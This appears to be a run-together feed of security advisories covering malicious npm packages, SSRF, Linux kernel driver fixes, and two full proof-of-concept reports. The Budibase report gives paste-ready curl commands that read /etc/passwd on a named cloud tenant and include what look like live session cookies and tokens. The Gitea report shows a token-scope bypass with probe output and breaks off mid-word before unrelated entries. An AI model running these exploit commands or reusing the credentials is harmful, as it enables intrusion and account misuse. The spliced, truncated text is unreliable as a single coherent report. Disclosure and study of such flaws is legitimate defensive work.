The npm package 'fundraiserservicepp' version 1.5.0 is identified as malicious. During installation, its preinstall script executes code that collects host system information such as hostname, platform, and architecture, then sends this data over HTTPS to a hardcoded third-party domain associated with malicious activity. The package does not provide any legitimate functionality and behaves like a dependency confusion probe, exfiltrating system identifiers without user consent.
## Summary
When creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem.
## Root Cause
`packages/server/src/integrations/mongodb.ts` passes `config.tlsCertificateKeyFile` / `config.tlsCAFile` directly to `new MongoClient(config.connectionString, options)` as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / `..` paths.
POC
## Reproduction — paste each line, press Enter
Line 1 (existing file — proves the file is READ):
```
curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}'
```
RESPONSE
{"connected":false,"error":"error:0480006C:PEM routines::no start line"}
Line 2 (missing file — path is reflected):
```
curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}'
```
RESPONSE
{"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}
### Actual output
```text
/etc/passwd -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"} (EXISTS, was READ)
/nonexistent/pentest/xyz -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} (MISSING, path reflected)
```
Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return `ENOENT ... open '<path>'` with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.
## Impact
| Who / what is affected | How |
|---|---|
| The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account |
| Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) |
| PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) |
## Recommended Fix
1. On managed/Cloud, disallow `tlsCertificateKeyFile` / `tlsCAFile` as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.
2. Reject absolute and `..` paths; confine any file reference to an allow-listed certificates directory.
3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.
The n8n-nodes-http-probe npm package versions 1.0.0, 1.0.1, and 1.0.2 contain malicious code that executes immediately upon module load. This code establishes a reverse shell to a remote attacker, installs a persistent root SSH backdoor on Docker hosts, collects sensitive host and Kubernetes configuration data, and attempts lateral movement by targeting an adjacent container with default credentials. The malicious behavior activates automatically when the package is required in a project.
## Summary
After [PR #37118](https://github.com/go-gitea/gitea/pull/37118) / **CVE-2026-25714**
(`fix: Unify public-only token filtering in API queries and repo access checks`,
merged 2026-05-18, backport `#37773` to 1.26.2 — the May 2026 unification pass
for public-only token filtering, reporter Medoedus per the 1.26.2 release notes),
the `public-only` PAT scope is still bypassable on **Repository** and **Package**
scope categories when the owner's `Visibility = Limited` (instance-internal).
The sibling `Org` / `User` / `ActivityPub` cases in the same `checkTokenPublicOnly`
switch correctly reject Limited owners via `!Visibility.IsPublic()`. The
Repository / Package cases use `repo.IsPrivate` or `Owner.Visibility.IsPrivate()`,
both of which return `false` for `VisibleTypeLimited` — so a `public-only` PAT
strictly exceeds anonymous reach on a Limited owner.
Tested on `gitea/gitea:1.26.2`. The decisive marker is that PR #37118's
unification IS applied in the version under test (User-category PROBE returns
`403 "token scope is limited to public users"`). Despite that, the
Repository-category PROBE on the same Limited owner with the same PAT returns
`200` and serves content.
## Affected entry points (4 spots)
| File:Line | Function | Affected surface |
|---|---|---|
| `routers/api/v1/api.go:292` | `checkTokenPublicOnly` Package case | API v1 packages |
| `routers/api/packages/api.go:76` | `reqPackageAccess` middleware | All 24 native package registries (`/api/packages/<type>/...`) |
| `services/context/api.go` | `TokenCanAccessRepo` helper | All API v1 Repository-category endpoints — content, issues, PRs, releases, labels, milestones, etc. |
| `services/context/permission.go:32` | `CheckTokenScopes` (called via `CheckRepoScopedToken`) | Web download endpoints `/raw`, `/media`, `/attachments`. LFS routes (`services/lfs/server.go:470/472`, `services/lfs/locks.go:62/151/216/284`) also chain through this helper. |
All four sinks check `repo.IsPrivate` or `Owner.Visibility.IsPrivate()` only.
`VisibleTypeLimited` falls through.
```go
// modules/structs/visible_type.go
func (vt VisibleType) IsPrivate() bool { return vt == VisibleTypePrivate } // line 39-40
func (vt VisibleType) IsLimited() bool { return vt == VisibleTypeLimited } // line 33-34
```
## Same-file evidence (`routers/api/v1/api.go:246-299` after PR #37118)
```go
case auth_model.AccessTokenScopeCategoryOrganization:
orgPrivate := ... && !ctx.Org.Organization.Visibility.IsPublic() // !IsPublic ✓
case auth_model.AccessTokenScopeCategoryUser:
if ... && !ctx.ContextUser.Visibility.IsPublic() { ... } // !IsPublic ✓
case auth_model.AccessTokenScopeCategoryActivityPub:
if ... && !ctx.ContextUser.Visibility.IsPublic() { ... } // !IsPublic ✓
case auth_model.AccessTokenScopeCategoryPackage:
if ctx.Package != nil && ctx.Package.Owner.Visibility.IsPrivate() { // IsPrivate ONLY ✗
ctx.APIError(http.StatusForbidden, "token scope is limited to public packages")
return
}
```
`TokenCanAccessRepo` (`services/context/api.go`) reduces to `!repo.IsPrivate`:
```go
// A public-only token cannot reach a private repo; any other token is unrestricted by this check.
func (ctx *APIContext) TokenCanAccessRepo(repo *repo_model.Repository) bool {
return repo == nil || !ctx.PublicOnly || !repo.IsPrivate
}
```
`CheckTokenScopes` (`services/context/permission.go:32`):
```go
if publicOnly && repo != nil && repo.IsPrivate {
ctx.HTTPError(http.StatusForbidden)
return
}
```
## PoC (Docker e2e VERIFIED on `gitea/gitea:1.26.2`, 2026-06-05)
Full script in the report (`run-poc.sh`). Setup:
1. Create user `limuser`. `PATCH /api/v1/admin/users/limuser` with body
`{"visibility":"limited", ...}` — response confirms `"visibility":"limited"`.
2. Upload a generic package as `limuser`:
`PUT /api/packages/limuser/generic/secretpkg/1.0.0/secret.txt` with body
`secret-content-internal-only` → `201`.
3. Create user `attacker`.
4. Mint PAT for `attacker` with `scopes=["read:package","read:user","read:repository","public-only"]`.
Result on `gitea/gitea:1.26.2` — nine PROBEs:
```
PROBE A (download package via attacker PAT)
HTTP=200 Body: secret-content-internal-only
PROBE C (read README of limuser's PUBLIC repo)
HTTP=200 Body: {"name":"README.md", ...}
PROBE F (sanity — User category, same PAT, same owner)
HTTP=403 Body: {"message":"token scope is limited to public users"}
PROBE G (Repository category, same PAT, same owner)
HTTP=200 Body: {"name":"README.md", ...} ← bypass
PROBE H (list limuser's repos, User category)
HTTP=403 Body: {"message":"token scope is limited to public users"}
PROBE M (git HTTPS smart protocol — info/refs)
HTTP=200 Body: 001e# service=git-upload-pack ... HEAD ... ← full clone enabled
PROBE N (write attempt: POST contents/hacked.txt)
HTTP=403 Body: {"message":"user should have a permission to write to t
Huginn versions through 2022.08.18 have a server-side request forgery (SSRF) vulnerability in the fetch_url method of ScenarioImport. This flaw allows authenticated users to submit crafted URLs that trigger arbitrary HTTP requests from the server. Exploitation can enable attackers to probe internal network services, enumerate ports using error responses, and access cloud metadata endpoints to obtain sensitive credentials.
The golan125-homepage-test npm package version 1.0.0 contains a homepage field with a JavaScript-based XSS probe designed to test registry or UI frontend sanitization. The package itself does not execute harmful code on installation or runtime and does not perform network operations. The malicious aspect targets web interfaces that render the homepage field as clickable links without proper sanitization, potentially leading to cross-site scripting in those interfaces.
A vulnerability in the Linux kernel's MediaTek SNFI SPI driver was resolved by ensuring proper unregistering of the ECC engine during probe failure and device removal. The issue involved missing teardown of the on-host NAND ECC engine, which could lead to resource mismanagement. The fix adds a cleanup action to automatically unregister the ECC engine on probe failures and device removal. This vulnerability affects multiple Linux kernel versions and has a medium severity rating.
A vulnerability in the Linux kernel's serial zs driver was resolved by converting it to use a platform device. The issue involved a crash caused by dereferencing a pointer derived from a null pointer to the port's parent device during serial port initialization. The fix switches the driver to platform device usage, updates resource handling, and changes the driver probe method to prevent conflicts with other drivers sharing the same major device number. This change also affects the console handover timing during system bootstrap.
A vulnerability in the Linux kernel's DECstation DZ serial driver was fixed by converting it to use a platform device. The issue caused a crash during initialization due to dereferencing a pointer derived from a null parent device pointer. The fix involves switching to platform device usage, updating resource handling, and changing driver probe methods to avoid conflicts with other drivers. This change also delays console handover during boot but improves stability and resource management.
A double free vulnerability was identified and fixed in the Linux kernel's uio_pci_generic_sva driver. The issue arises from manually freeing memory allocated with devm_kzalloc(), which is already managed and freed automatically by the device resource management system. This double free can occur both during probe() error handling and driver removal. The vulnerability has been addressed by removing the manual kfree() calls. Multiple Linux kernel versions are affected and patches are available.
A use-after-free vulnerability in the Linux kernel's hwmon lm90 driver was resolved. The flaw involved delayed work functions potentially accessing freed hardware monitoring device data during device unbinding or probe failure. This could lead to system instability or denial of service. The issue affects multiple specific Linux kernel versions. A patch is available that cancels the delayed work properly before device release and adds a shutdown flag to prevent re-arming of workers.
A memory leak vulnerability was identified and fixed in the Linux kernel's ti: icssm-prueth network driver. The flaw involved an error path in the probe function where a resource (eth_ports_node) was not properly released upon failure of a property read operation. This could lead to resource leakage affecting system stability. The issue has been addressed in updated Linux kernel versions.
In the Linux kernel, the following vulnerability has been resolved: spi: sprd: fix error pointer deref after DMA setup failure The driver falls back to PIO mode if DMA setup fails during probe. Make sure to check the dma.enabled flag before trying to release the DMA channels also on late probe errors to avoid dereferencing an error pointer (or attempting to release a channel a second time). This issue was flagged by Sashiko when reviewing a devres allocation conversion patch.
A vulnerability in the Linux kernel's spi: ep93xx driver was fixed to prevent error pointer dereference after a DMA setup failure. The driver falls back to PIO mode if DMA setup fails during probe, but previously did not clear DMA channel pointers on failure, potentially causing dereferencing of error pointers on later probe errors or driver unbind. This issue has been patched in affected Linux kernel versions.
A vulnerability in the Linux kernel's spi: qup driver was fixed to prevent error pointer dereference after DMA setup failure. The issue occurs when the driver falls back to PIO mode after DMA setup fails during probe but does not clear DMA channel pointers properly, potentially causing dereferencing of error pointers or double release attempts on later errors or driver unbind. This flaw was addressed in Linux kernel updates. The vulnerability has a medium severity with a CVSS score of 5.5 and does not affect confidentiality or integrity but impacts availability. Multiple specific linux-aws kernel versions are affected. A patch is available to resolve this issue.
In the Linux kernel, the following vulnerability has been resolved:
dma-mapping: move dma_map_resource() sanity check into debug code
dma_map_resource() uses pfn_valid() to ensure the range is not RAM.
However, pfn_valid() only checks for availability of the memory map for
a PFN but it does not ensure that the PFN is actually backed by RAM. On
ARM64 with SPARSEMEM (128MB section granularity), MMIO addresses that
share a section with RAM will falsely trigger the WARN_ON_ONCE and cause
dma_map_resource() to return DMA_MAPPING_ERROR.
This causes a WARNING on Raspberry Pi 4 during spi_bcm2835 probe because
the SPI FIFO register (0xfe204004) falls in the same sparsemem section
as the end of RAM (0xf8000000-0xfbffffff), both in section 31
(0xf8000000-0xffffffff).
Move the sanity check from dma_map_resource() into debug_dma_map_phys()
and replace the unreliable pfn_valid() with pfn_valid() &&
!PageReserved(), which correctly identifies actual usable RAM without
false positives for MMIO regions that happen to have struct pages.
Since dma_map_resource() is dma_map_phys(DMA_ATTR_MMIO), the check
applies equally to both APIs. Any non-reserved page represents kernel
memory to a sufficient degree that using DMA_ATTR_MMIO on it is almost
certainly wrong and risks breaking coherency on non-coherent platforms.
ZONE_DEVICE pages used for PCI P2P DMA (MEMORY_DEVICE_PCI_P2PDMA) have
PageReserved set, so they will not trigger a false positive.
The check no longer blocks the mapping and uses err_printk() to
integrate with dma-debug filtering.